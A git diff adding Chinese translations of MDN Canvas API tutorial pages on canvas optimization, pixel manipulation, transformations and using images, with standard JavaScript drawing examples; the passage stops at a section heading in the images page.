diff --git a/files/zh-cn/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/zh-cn/web/api/canvas_api/tutorial/optimizing_canvas/index.html new file mode 100644 index 0000000000..cfa0a7250f --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/optimizing_canvas/index.html @@ -0,0 +1,115 @@ +--- +title: canvas的优化 +slug: Web/API/Canvas_API/Tutorial/Optimizing_canvas +tags: + - Advanced + - Canvas + - Tutorial +translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}
+ +
+

{{HTMLElement("canvas")}}元素是众多广泛使用的网络2D图像渲染标准之一。它被广泛用于游戏及复杂的图像可视化中。然而,随着网站和应用将canvas画布推至极限,性能开始成为问题。此文目标是给使用canvas画布元素的优化带来建议,去保证你的网站或者应用表现卓越。

+
+ +

性能贴士

+ +

下面是一些改善性能的建议

+ +

在离屏canvas上预渲染相似的图形或重复的对象

+ +

如果发现自己在每个动画帧上重复了一些相同的绘制操作,请考虑将其分流到屏幕外的画布上。 然后,您可以根据需要频繁地将屏幕外图像渲染到主画布上,而不必首先重复生成该图像的步骤。

+ +
myEntity.offscreenCanvas = document.createElement("canvas");
+myEntity.offscreenCanvas.width = myEntity.width;
+myEntity.offscreenCanvas.height = myEntity.height;
+myEntity.offscreenContext = myEntity.offscreenCanvas.getContext("2d");
+
+myEntity.render(myEntity.offscreenContext);
+
+ +

避免浮点数的坐标点,用整数取而代之

+ +

当你画一个没有整数坐标点的对象时会发生子像素渲染。

+ +
ctx.drawImage(myImage, 0.3, 0.5);
+
+ +

浏览器为了达到抗锯齿的效果会做额外的运算。为了避免这种情况,请保证在你调用{{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}函数时,用{{jsxref("Math.floor()")}}函数对所有的坐标点取整。

+ +

不要在用drawImage时缩放图像

+ +

在离屏canvas中缓存图片的不同尺寸,而不要用{{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}去缩放它们。

+ +

使用多层画布去画一个复杂的场景

+ +

在您的应用程序中,您可能会发现某些对象需要经常移动或更改,而其他对象则保持相对静态。 在这种情况下,可能的优化是使用多个<canvas>元素对您的项目进行分层。

+ +

例如,假设您有一个游戏,其UI位于顶部,中间是游戏性动作,底部是静态背景。 在这种情况下,您可以将游戏分成三个<canvas>层。 UI将仅在用户输入时发生变化,游戏层随每个新框架发生变化,并且背景通常保持不变。

+ +
<div id="stage">
+  <canvas id="ui-layer" width="480" height="320"></canvas>
+  <canvas id="game-layer" width="480" height="320"></canvas>
+  <canvas id="background-layer" width="480" height="320"></canvas>
+</div>
+
+<style>
+  #stage {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black
+  }
+  canvas { position: absolute; }
+  #ui-layer { z-index: 3 }
+  #game-layer { z-index: 2 }
+  #background-layer { z-index: 1 }
+</style>
+
+ +

用CSS设置大的背景图

+ +

如果像大多数游戏那样,你有一张静态的背景图,用一个静态的{{HTMLElement("div")}}元素,结合{{cssxref("background")}} 特性,以及将它置于画布元素之后。这么做可以避免在每一帧在画布上绘制大图。

+ +

用CSS transforms特性缩放画布

+ +

CSS transforms 使用GPU,因此速度更快。 最好的情况是不直接缩放画布,或者具有较小的画布并按比例放大,而不是较大的画布并按比例缩小。

+ +
var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+
+ +

关闭透明度

+ +

如果你的游戏使用画布而且不需要透明,当使用 HTMLCanvasElement.getContext() 创建一个绘图上下文时把 alpha 选项设置为 false 。这个选项可以帮助浏览器进行内部优化。

+ +
var ctx = canvas.getContext('2d', { alpha: false });
+ +

更多的贴士

+ + + +

参见

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/zh-cn/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html new file mode 100644 index 0000000000..268d375903 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html @@ -0,0 +1,356 @@ +--- +title: 像素操作 +slug: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas +tags: + - Canvas +translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}
+ +
+

到目前为止,我们尚未深入了解Canvas画布真实像素的原理,事实上,你可以直接通过ImageData对象操纵像素数据,直接读取或将数据数组写入该对象中。稍后我们也将深入了解如何控制图像使其平滑(反锯齿)以及如何从Canvas画布中保存图像。

+
+ +

ImageData 对象

+ +

{{domxref("ImageData")}}对象中存储着canvas对象真实的像素数据,它包含以下几个只读属性:

+ +

width

+ +
+
图片宽度,单位是像素
+
height
+
图片高度,单位是像素
+
data
+
{{jsxref("Uint8ClampedArray")}}类型的一维数组,包含着RGBA格式的整型数据,范围在0至255之间(包括255)。
+
+ +

data属性返回一个 {{jsxref("Uint8ClampedArray")}},它可以被使用作为查看初始像素数据。每个像素用4个1bytes值(按照红,绿,蓝和透明值的顺序; 这就是"RGBA"格式) 来代表。每个颜色值部份用0至255来代表。每个部份被分配到一个在数组内连续的索引,左上角像素的红色部份在数组的索引0位置。像素从左到右被处理,然后往下,遍历整个数组。

+ +

{{jsxref("Uint8ClampedArray")}}  包含高度 × 宽度 × 4 bytes数据,索引值从0到(高度×宽度×4)-1

+ +

例如,要读取图片中位于第50行,第200列的像素的蓝色部份,你会写以下代码:

+ +
blueComponent = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];
+ +

根据行、列读取某像素点的R/G/B/A值的公式:

+ +
imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 0/1/2/3];
+ +

你可能用会使用Uint8ClampedArray.length属性来读取像素数组的大小(以bytes为单位):

+ +
var numBytes = imageData.data.length;
+
+ +

创建一个ImageData对象

+ +

去创建一个新的,空白的ImageData对象,你应该会使用{{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} 方法。有2个版本的createImageData()方法。

+ +
var myImageData = ctx.createImageData(width, height);
+ +

上面代码创建了一个新的具体特定尺寸的ImageData对象。所有像素被预设为透明黑。

+ +

你也可以创建一个被anotherImageData对象指定的相同像素的ImageData对象。这个新的对象像素全部被预设为透明黑。这个并非复制了图片数据。

+ +
var myImageData = ctx.createImageData(anotherImageData);
+ +

得到场景像素数据

+ +

为了获得一个包含画布场景像素数据的ImageData对像,你可以用getImageData()方法:

+ +
var myImageData = ctx.getImageData(left, top, width, height);
+ +

这个方法会返回一个ImageData对象,它代表了画布区域的对象数据,此画布的四个角落分别表示为(left, top), (left + width, top), (left, top + height), 以及(left + width, top + height)四个点。这些坐标点被设定为画布坐标空间元素。

+ +
+

注:任何在画布以外的元素都会被返回成一个透明黑的ImageData对像。

+
+ +

这个方法也会在文章用画布操作视频中展示。

+ +

颜色选择器

+ +

在这个例子里面,我们会使用getImageData()去展示鼠标光标下的颜色。为此,我们要当前鼠标的位置,记为layerX和layerY,然后我们去查询getImageData()给我们提供的在那个位置的像数数组里面的像素数据。最后我们使用数组数据去设置背景颜色和<div>的文字去展示颜色值。

+ + + +
var img = new Image();
+img.crossOrigin = 'anonymous';
+img.src = './assets/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var hoveredColor = document.getElementById('hovered-color');
+var selectedColor = document.getElementById('selected-color');
+
+
+function pick(event, destination) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+
+    const rgba = `rgba(${data[0]}, ${data[1]}, ${data[2]}, ${data[3] / 255})`;
+    destination.style.background = rgba;
+    destination.textContent = rgba;
+
+    return rgba;
+}
+
+canvas.addEventListener('mousemove', function(event) {
+    pick(event, hoveredColor);
+});
+canvas.addEventListener('click', function(event) {
+    pick(event, selectedColor);
+});
+ +

{{EmbedGHLiveSample("dom-examples/canvas/pixel-manipulation/color-picker.html", '100%', 300)}}

+ +

在场景中写入像素数据

+ +

你可以用putImageData()方法去对场景进行像素数据的写入。

+ +
ctx.putImageData(myImageData, dx, dy);
+
+ +

dx和dy参数表示你希望在场景内左上角绘制的像素数据所得到的设备坐标。

+ +

例如,为了在场景内左上角绘制myImageData代表的图片,你可以写如下的代码:

+ +
ctx.putImageData(myImageData, 0, 0);
+
+ +

+ +

图片灰度和反相颜色

+ +

在这个例子里,我们遍历所有像素以改变他们的数值。然后我们将被修改的像素数组通过putImageData()放回到画布中去。invert函数仅仅是去减掉颜色的最大色值255.grayscale函数仅仅是用红绿和蓝的平均值。你也可以用加权平均,例如x = 0.299r + 0.587g + 0.114b这个公式。更多资料请参考维基百科的Grayscale

+ + + + + +
var img = new Image();
+img.crossOrigin = 'anonymous';
+img.src = './assets/rhino.jpg';
+
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+img.onload = function() {
+    ctx.drawImage(img, 0, 0);
+};
+
+var original = function() {
+    ctx.drawImage(img, 0, 0);
+};
+
+var invert = function() {
+    ctx.drawImage(img, 0, 0);
+    const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
+    const data = imageData.data;
+    for (var i = 0; i < data.length; i += 4) {
+        data[i]     = 255 - data[i];     // red
+        data[i + 1] = 255 - data[i + 1]; // green
+        data[i + 2] = 255 - data[i + 2]; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+};
+
+var grayscale = function() {
+    ctx.drawImage(img, 0, 0);
+    const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
+    const data = imageData.data;
+    for (var i = 0; i < data.length; i += 4) {
+        var avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
+        data[i]     = avg; // red
+        data[i + 1] = avg; // green
+        data[i + 2] = avg; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+};
+
+const inputs = document.querySelectorAll('[name=color]');
+for (const input of inputs) {
+    input.addEventListener("change", function(evt) {
+        switch (evt.target.value) {
+            case "inverted":
+                return invert();
+            case "grayscale":
+                return grayscale();
+            default:
+                return original();
+        }
+    });
+}
+ +

{{EmbedGHLiveSample("dom-examples/canvas/pixel-manipulation/color-manipulation.html", '100%', 300)}}

+ +

缩放和反锯齿

+ +

在{{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} 方法, 第二个画布和{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} 属性的帮助下,我们可以放大显示我们的图片及看到详情内容。

+ +

我们得到鼠标的位置并裁剪出距左和上5像素,距右和下5像素的图片。然后我们将这幅图复制到另一个画布然后将图片调整到我们想要的大小。在缩放画布里,我们将10×10像素的对原画布的裁剪调整为 200×200 。

+ +
zoomctx.drawImage(canvas,
+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);
+ +

因为反锯齿默认是启用的,我们可能想要关闭它以看到清楚的像素。你可以通过切换勾选框来看到imageSmoothingEnabled属性的效果(不同浏览器需要不同前缀)。

+ + + +
<canvas id="canvas" width="300" height="227"></canvas>
+<canvas id="zoom" width="300" height="227"></canvas>
+<div>
+<label for="smoothbtn">
+  <input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn">
+  Enable image smoothing
+</label>
+</div>
+
+ +
var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}
+ +

{{ EmbedLiveSample('Zoom_example', 620, 490) }}

+ +

保存图片

+ +

{{domxref("HTMLCanvasElement")}}  提供一个toDataURL()方法,此方法在保存图片的时候非常有用。它返回一个包含被类型参数规定的图像表现格式的数据链接。返回的图片分辨率是96dpi。

+ +
+
{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}
+
默认设定。创建一个PNG图片。
+
Default setting. Creates a PNG image.
+
{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}
+
创建一个JPG图片。你可以有选择地提供从0到1的品质量,1表示最好品质,0基本不被辨析但有比较小的文件大小。
+
+ +

当你从画布中生成了一个数据链接,例如,你可以将它用于任何{{HTMLElement("image")}}元素,或者将它放在一个有download属性的超链接里用于保存到本地。

+ +

你也可以从画布中创建一个{{domxref("Blob")}}对像。

+ +
+
{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}
+
这个创建了一个在画布中的代表图片的Blob对像。
+
+ +

参见

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/transformations/index.html b/files/zh-cn/web/api/canvas_api/tutorial/transformations/index.html new file mode 100644 index 0000000000..d8e65e4dc4 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/transformations/index.html @@ -0,0 +1,278 @@ +--- +title: 变形 Transformations +slug: Web/API/Canvas_API/Tutorial/Transformations +tags: + - Canvas + - HTML + - HTML5 + - Web + - 图形 + - 教程 +translation_of: Web/API/Canvas_API/Tutorial/Transformations +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}
+ +

在本教程前面的部分中,我们已经了解了Canvas网格和坐标空间。到目前为止,我们只是根据我们的需要使用默认的网格,改变整个画布的大小。变形是一种更强大的方法,可以将原点移动到另一点、对网格进行旋转和缩放。

+ +

状态的保存和恢复 Saving and restoring state

+ +

在了解变形之前,我先介绍两个在你开始绘制复杂图形时必不可少的方法。

+ +
+
{{domxref("CanvasRenderingContext2D.save", "save()")}}
+
保存画布(canvas)的所有状态
+
{{domxref("CanvasRenderingContext2D.restore", "restore()")}}
+
save 和 restore 方法是用来保存和恢复 canvas 状态的,都没有参数。Canvas 的状态就是当前画面应用的所有样式和变形的一个快照。
+
+ +

Canvas状态存储在栈中,每当save()方法被调用后,当前的状态就被推送到栈中保存。一个绘画状态包括:

+ + + +

你可以调用任意多次 save方法。每一次调用 restore 方法,上一个保存的状态就从栈中弹出,所有设定都恢复。

+ +

saverestore 的应用例子

+ +

我们尝试用这个连续矩形的例子来描述 canvas 的状态栈是如何工作的。

+ +

第一步是用默认设置画一个大四方形,然后保存一下状态。改变填充颜色画第二个小一点的蓝色四方形,然后再保存一下状态。再次改变填充颜色绘制更小一点的半透明的白色四方形。

+ +

到目前为止所做的动作和前面章节的都很类似。不过一旦我们调用 restore,状态栈中最后的状态会弹出,并恢复所有设置。如果不是之前用 save 保存了状态,那么我们就需要手动改变设置来回到前一个状态,这个对于两三个属性的时候还是适用的,一旦多了,我们的代码将会猛涨。

+ +

当第二次调用 restore 时,已经恢复到最初的状态,因此最后是再一次绘制出一个黑色的四方形。

+ +

{{EmbedLiveSample("A_save_and_restore_canvas_state_example", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0,0,150,150);   // 使用默认设置绘制一个矩形
+  ctx.save();                  // 保存默认状态
+
+  ctx.fillStyle = '#09F'       // 在原有配置基础上对颜色做改变
+  ctx.fillRect(15,15,120,120); // 使用新的设置绘制一个矩形
+
+  ctx.save();                  // 保存当前状态
+  ctx.fillStyle = '#FFF'       // 再次改变颜色配置
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30,30,90,90);   // 使用新的配置绘制一个矩形
+
+  ctx.restore();               // 重新加载之前的颜色状态
+  ctx.fillRect(45,45,60,60);   // 使用上一次的配置绘制一个矩形
+
+  ctx.restore();               // 加载默认颜色配置
+  ctx.fillRect(60,60,30,30);   // 使用加载的配置绘制一个矩形
+}
+
+ + + +

移动 Translating

+ +

+ +

我们先介绍 translate 方法,它用来移动 canvas 和它的原点到一个不同的位置。

+ +
+
translate(x, y)
+
translate 方法接受两个参数。x 是左右偏移量,y 是上下偏移量,如右图所示。
+
+ +

在做变形之前先保存状态是一个良好的习惯。大多数情况下,调用 restore 方法比手动恢复原先的状态要简单得多。又,如果你是在一个循环中做位移但没有保存和恢复 canvas 的状态,很可能到最后会发现怎么有些东西不见了,那是因为它很可能已经超出 canvas 范围以外了。

+ +

translate 的例子

+ +

这个例子显示了一些移动 canvas 原点的好处。如果不使用 translate 方法,那么所有矩形都将被绘制在相同的位置(0,0)。translate 方法同时让我们可以任意放置这些图案,而不需要在 fillRect() 方法中手工调整坐标值,既好理解也方便使用。

+ +

我在 draw 方法中调用 fillRect() 方法 9 次,用了 2 层循环。每一次循环,先移动 canvas ,画螺旋图案,然后恢复到原始状态。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i < 3; i++) {
+    for (var j = 0; j < 3; j++) {
+      ctx.save();
+      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+      ctx.translate(10 + j * 50, 10 + i * 50);
+      ctx.fillRect(0, 0, 25, 25);
+      ctx.restore();
+    }
+  }
+}
+
+ + + +

{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}

+ +

旋转 Rotating

+ +

+ +

第二个介绍 rotate 方法,它用于以原点为中心旋转 canvas。

+ +
+
rotate(angle)
+
这个方法只接受一个参数:旋转的角度(angle),它是顺时针方向的,以弧度为单位的值。
+
+ +

旋转的中心点始终是 canvas 的原点,如果要改变它,我们需要用到 translate 方法。

+ +

rotate 的例子

+ +

+ +

在这个例子里,见右图,我用 rotate 方法来画圆并构成圆形图案。当然你也可以分别计算出 xy 坐标(x = r*Math.cos(a); y = r*Math.sin(a))。这里无论用什么方法都无所谓的,因为我们画的是圆。计算坐标的结果只是旋转圆心位置,而不是圆本身。即使用 rotate 旋转两者,那些圆看上去还是一样的,不管它们绕中心旋转有多远。

+ +

这里我们又用到了两层循环。第一层循环决定环的数量,第二层循环决定每环有多少个点。每环开始之前,我都保存一下 canvas 的状态,这样恢复起来方便。每次画圆点,我都以一定夹角来旋转 canvas,而这个夹角则是由环上的圆点数目的决定的。最里层的环有 6 个圆点,这样,每次旋转的夹角就是 360/6 = 60 度。往外每一环的圆点数目是里面一环的 2 倍,那么每次旋转的夹角随之减半。

+ + + +

{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.translate(75,75);
+
+  for (var i=1;i<6;i++){ // Loop through rings (from inside to out)
+    ctx.save();
+    ctx.fillStyle = 'rgb('+(51*i)+','+(255-51*i)+',255)';
+
+    for (var j=0;j<i*6;j++){ // draw individual dots
+      ctx.rotate(Math.PI*2/(i*6));
+      ctx.beginPath();
+      ctx.arc(0,i*12.5,5,0,Math.PI*2,true);
+      ctx.fill();
+    }
+
+    ctx.restore();
+  }
+}
+
+ +

缩放 Scaling

+ +

接着是缩放。我们用它来增减图形在 canvas 中的像素数目,对形状,位图进行缩小或者放大。

+ +
+
scale(x, y)
+
scale  方法可以缩放画布的水平和垂直的单位。两个参数都是实数,可以为负数,x 为水平缩放因子,y 为垂直缩放因子,如果比1小,会缩小图形, 如果比1大会放大图形。默认值为1, 为实际大小。
+
+ +

画布初始情况下, 是以左上角坐标为原点的第一象限。如果参数为负实数, 相当于以x 或 y轴作为对称轴镜像反转(例如, 使用translate(0,canvas.height); scale(1,-1); 以y轴作为对称轴镜像反转, 就可得到著名的笛卡尔坐标系,左下角为原点)。

+ +

默认情况下,canvas 的 1 个单位为 1 个像素。举例说,如果我们设置缩放因子是 0.5,1 个单位就变成对应 0.5 个像素,这样绘制出来的形状就会是原先的一半。同理,设置为 2.0 时,1 个单位就对应变成了 2 像素,绘制的结果就是图形放大了 2 倍。

+ +

scale 的例子

+ +

这最后的例子里,我们用不同的缩放方式来画两个图形。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // draw a simple rectangle, but scale it.
+  ctx.save();
+  ctx.scale(10, 3);
+  ctx.fillRect(1, 10, 10, 10);
+  ctx.restore();
+
+  // mirror horizontally
+  ctx.scale(-1, 1);
+  ctx.font = '48px serif';
+  ctx.fillText('MDN', -135, 120);
+}
+ + + +

{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}

+ +

变形 Transforms

+ +

最后一个方法允许对变形矩阵直接修改。

+ +
+
{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}
+
这个方法是将当前的变形矩阵乘上一个基于自身参数的矩阵,如下面的矩阵所示:[acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]
+
如果任意一个参数是Infinity,变形矩阵也必须被标记为无限大,否则会抛出异常。
+
+ +

这个函数的参数各自代表如下:

+ +
+
a (m11)
+
水平方向的缩放
+
b(m12)
+
竖直方向的倾斜偏移
+
c(m21)
+
水平方向的倾斜偏移
+
d(m22)
+
竖直方向的缩放
+
e(dx)
+
水平方向的移动
+
f(dy)
+
竖直方向的移动
+
+ +
+
{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}
+
这个方法会将当前的变形矩阵重置为单位矩阵,然后用相同的参数调用 transform 方法。如果任意一个参数是无限大,那么变形矩阵也必须被标记为无限大,否则会抛出异常。从根本上来说,该方法是取消了当前变形,然后设置为指定的变形,一步完成。
+
+ +
+
{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}
+
重置当前变形为单位矩阵,它和调用以下语句是一样的:ctx.setTransform(1, 0, 0, 1, 0, 0);
+
+ +

transform / setTransform 的例子

+ +
+
+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI/6);
+  var cos = Math.cos(Math.PI/6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i=0; i <= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = "rgb(" + c + "," + c + "," + c + ")";
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = "rgba(255, 128, 255, 0.5)";
+  ctx.fillRect(0, 50, 100, 100);
+}
+ + + +

{{EmbedLiveSample("transform_setTransform_的例子", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}

+ +


+ {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/using_images/index.html b/files/zh-cn/web/api/canvas_api/tutorial/using_images/index.html new file mode 100644 index 0000000000..2d484b5d15 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/using_images/index.html @@ -0,0 +1,328 @@ +--- +title: 使用图像 Using images +slug: Web/API/Canvas_API/Tutorial/Using_images +tags: + - Canvas +translation_of: Web/API/Canvas_API/Tutorial/Using_images +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations")}}
+ +

canvas更有意思的一项特性就是图像操作能力。可以用于动态的图像合成或者作为图形的背景,以及游戏界面(Sprites)等等。浏览器支持的任意格式的外部图片都可以使用,比如PNG、GIF或者JPEG。 你甚至可以将同一个页面中其他canvas元素生成的图片作为图片源。

+ +

引入图像到canvas里需要以下两步基本操作:

+ +
    +
  1. 获得一个指向{{domxref("HTMLImageElement")}}的对象或者另一个canvas元素的引用作为源,也可以通过提供一个URL的方式来使用图片(参见例子
  2. +
  3. 使用drawImage()函数将图片绘制到画布上
  4. +
+ +

我们来看看具体是怎么做的。

+ +

获得需要绘制的图片

+ +

canvas的API可以使用下面这些类型中的一种作为图片的源:

+ +
+
{{domxref("HTMLImageElement")}}
+
这些图片是由Image()函数构造出来的,或者任何的{{HTMLElement("img")}}元素
+
{{domxref("HTMLVideoElement")}}
+
用一个HTML的 {{HTMLElement("video")}}元素作为你的图片源,可以从视频中抓取当前帧作为一个图像
+
{{domxref("HTMLCanvasElement")}}
+
可以使用另一个 {{HTMLElement("canvas")}} 元素作为你的图片源。
+
{{domxref("ImageBitmap")}}
+
这是一个高性能的位图,可以低延迟地绘制,它可以从上述的所有源以及其它几种源中生成。
+
+ +

这些源统一由 {{domxref("CanvasImageSource")}}类型来引用。

+ +

有几种方式可以获取到我们需要在canvas上使用的图片。

+ +

使用相同页面内的图片

+ +

我们可以通过下列方法的一种来获得与canvas相同页面内的图片的引用:

+ + + +

使用其它域名下的图片

+ +

在 {{domxref("HTMLImageElement")}}上使用crossOrigin属性,你可以请求加载其它域名上的图片。如果图片的服务器允许跨域访问这个图片,那么你可以使用这个图片而不污染canvas,否则,使用这个图片将会污染canvas

+ +

使用其它 canvas 元素

+ +

和引用页面内的图片类似地,用 document.getElementsByTagName document.getElementById 方法来获取其它 canvas 元素。但你引入的应该是已经准备好的 canvas。

+ +

一个常用的应用就是将第二个canvas作为另一个大的 canvas 的缩略图。

+ +

由零开始创建图像

+ +

或者我们可以用脚本创建一个新的 {{domxref("HTMLImageElement")}} 对象。要实现这个方法,我们可以使用很方便的Image()构造函数。

+ +
var img = new Image();   // 创建一个<img>元素
+img.src = 'myImage.png'; // 设置图片源地址
+
+ +

当脚本执行后,图片开始装载。

+ +

若调用 drawImage 时,图片没装载完,那什么都不会发生(在一些旧的浏览器中可能会抛出异常)。因此你应该用load事件来保证不会在加载完毕之前使用这个图片:

+ +
var img = new Image();   // 创建img元素
+img.onload = function(){
+  // 执行drawImage语句
+}
+img.src = 'myImage.png'; // 设置图片源地址
+
+ +

如果你只用到一张图片的话,这已经够了。但一旦需要不止一张图片,那就需要更加复杂的处理方法,但图片预加载策略超出本教程的范围

+ +

通过 data: url 方式嵌入图像

+ +

我们还可以通过 data:url 方式来引用图像。Data urls 允许用一串 Base64 编码的字符串的方式来定义一个图片。

+ +
img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+
+ +

其优点就是图片内容即时可用,无须再到服务器兜一圈。(还有一个优点是,可以将 CSS,JavaScript,HTML 和 图片全部封装在一起,迁移起来十分方便。)缺点就是图像没法缓存,图片大的话内嵌的 url 数据会相当的长:

+ +

使用视频帧

+ +

你还可以使用{{HTMLElement("video")}} 中的视频帧(即便视频是不可见的)。例如,如果你有一个ID为“myvideo”的{{HTMLElement("video")}} 元素,你可以这样做:

+ +
function getMyVideo() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    return document.getElementById('myvideo');
+  }
+}
+ +

它将为这个视频返回{{domxref("HTMLVideoElement")}}对象,正如我们前面提到的,它可以作为我们的Canvas图片源。

+ +

绘制图片

+ +

一旦获得了源图对象,我们就可以使用 drawImage 方法将它渲染到 canvas 里。drawImage 方法有三种形态,下面是最基础的一种。

+ +
+
drawImage(image, x, y)
+
其中 image 是 image 或者 canvas 对象,xy 是其在目标 canvas 里的起始坐标。
+
+ +
+

SVG图像必须在 <svg> 根指定元素的宽度和高度。

+
+ +

例子:一个简单的线图

+ +

+ +

下面一个例子我用一个外部图像作为一线性图的背景。用背景图我们就不需要绘制复杂的背景,省下不少代码。这里只用到一个 image 对象,于是就在它的 onload 事件响应函数中触发绘制动作。drawImage 方法将背景图放置在 canvas 的左上角 (0,0) 处。

+ + + +
  function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    var img = new Image();
+    img.onload = function(){
+      ctx.drawImage(img,0,0);
+      ctx.beginPath();
+      ctx.moveTo(30,96);
+      ctx.lineTo(70,66);
+      ctx.lineTo(103,76);
+      ctx.lineTo(170,15);
+      ctx.stroke();
+    }
+    img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+  }
+
+ +

结果看起来是这样的:

+ +

{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}

+ +

缩放 Scaling

+ +

